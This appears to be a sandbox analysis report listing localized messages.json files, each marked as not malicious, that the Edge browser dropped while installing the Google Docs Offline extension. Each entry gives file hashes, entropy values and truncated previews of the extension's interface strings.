Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

